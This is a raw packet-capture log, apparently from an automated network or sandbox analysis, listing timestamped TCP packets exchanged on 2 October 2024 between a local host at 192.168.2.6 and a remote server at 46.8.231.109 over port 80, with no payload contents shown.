Oct 2, 2024 17:17:21.633023024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633044958 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.633065939 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.633332968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633368969 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.633429050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633439064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633450031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633460999 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633467913 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.633471966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633483887 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633501053 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.633517981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.633603096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633718967 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.639947891 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.639960051 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.639971018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.639998913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640007019 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640008926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640021086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640033960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640047073 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640064955 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640090942 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640122890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640135050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640145063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640156984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640167952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640172958 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640204906 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640290022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640300035 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640311003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640321016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640328884 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640331984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640342951 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640353918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640358925 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640363932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640374899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640388966 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640405893 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640412092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640420914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640429974 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640431881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640444040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.640448093 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640469074 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.640500069 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.728554010 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.728568077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.728585005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.728595018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.728606939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.728621960 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.728667021 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.729664087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729675055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729686022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729736090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.729903936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729933023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729943991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729954958 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729967117 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.729981899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.729989052 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.729995966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.730015039 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.730046034 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.730046988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.730058908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.730096102 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739676952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739711046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739721060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739727974 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739763975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739778042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739799976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739810944 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739821911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739834070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739844084 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739846945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739859104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739892006 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739923954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739933968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739944935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.739967108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739980936 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.739999056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740010023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740020037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740032911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740039110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.740067959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.740094900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740104914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740111113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740119934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740144968 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.740155935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.740457058 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.740503073 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.742948055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.742983103 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.742995024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743036985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743053913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743061066 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743068933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743079901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743091106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743096113 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743104935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743112087 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743144989 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743169069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743180990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743191957 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743201971 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743201971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743216038 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743228912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743257999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.743294001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.743339062 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745189905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745202065 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745213985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745265007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745275974 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745287895 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745299101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745357990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745462894 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745474100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745534897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745587111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745598078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745609045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745620012 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745630980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745637894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745641947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745654106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745654106 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745663881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745676041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745680094 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745687008 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745687962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745698929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745711088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745718956 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745723009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745744944 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745759964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745800972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745810986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745821953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745831966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745841980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745846033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745858908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745860100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745872021 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745878935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745882988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745894909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.745907068 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.745923996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747140884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747153044 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747163057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747190952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747194052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747205973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747214079 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747217894 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747229099 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747230053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747242928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747246027 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747262955 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747293949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747430086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747487068 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747497082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747522116 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747554064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.747570992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747581005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747591972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747601986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747612000 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.747889042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751657963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751681089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751761913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751763105 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751763105 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751831055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751840115 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751848936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751859903 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751868963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751878977 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751888990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751889944 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751900911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751920938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751951933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.751971006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751981974 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.751991987 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752002954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752013922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752023935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752073050 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.752120972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752130032 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752140999 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752152920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752162933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752166033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.752175093 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752186060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752196074 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.752197027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.752224922 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.752239943 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.824676991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824707031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824718952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824729919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824742079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824739933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.824754000 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824769020 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824778080 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.824783087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.824803114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.824825048 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826546907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826570988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826581955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826612949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826628923 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826638937 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826642036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826666117 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826673031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826680899 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826683998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826695919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.826704979 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826719999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.826735020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828346968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828358889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828368902 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828409910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828438044 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828438044 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828458071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828469038 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828480005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828490019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828496933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828524113 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828572035 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828583956 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828594923 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828605890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828617096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828620911 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828628063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828634977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828639984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828653097 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828695059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828718901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828730106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828741074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828751087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828752995 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828763008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828775883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828783035 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828809977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.828872919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.828906059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.831727028 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831770897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.831811905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831821918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831851959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.831899881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831911087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831923008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831933022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.831933975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.831964970 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.832037926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832048893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832060099 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832070112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832072020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.832082033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832093000 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832103968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832104921 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.832120895 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832130909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.832145929 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.832168102 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.832180977 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.832212925 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.840780973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.840794086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.840805054 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.840841055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.840864897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.840878010 CEST	80	65273	46.8.231.109	192.168.2.6
